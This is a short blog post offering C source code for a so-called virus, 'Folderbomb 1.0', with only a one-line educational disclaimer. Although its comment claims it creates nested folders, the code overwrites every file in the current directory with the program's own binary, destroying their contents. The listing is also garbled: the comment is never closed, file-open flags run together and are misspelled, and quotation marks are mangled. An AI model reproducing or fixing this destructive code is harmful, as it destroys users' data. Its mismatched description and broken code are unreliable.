A Simple Virus in C

This is only for educational purpose!
VIRUS CODE
/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......


#include"iostream.h"
#include"conio.h"
#include"stdio.h"
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:MayankSharma(mayanksmansion.tk@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}


Category: 0 comments

0 comments:

Post a Comment

Copyright ©

Creative Commons License
http://www.mayanksmansion.tk is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License

Protected by Copyscape Online Plagiarism Test

Copyright © 2011 Mayank Sharma. Powered by Blogger.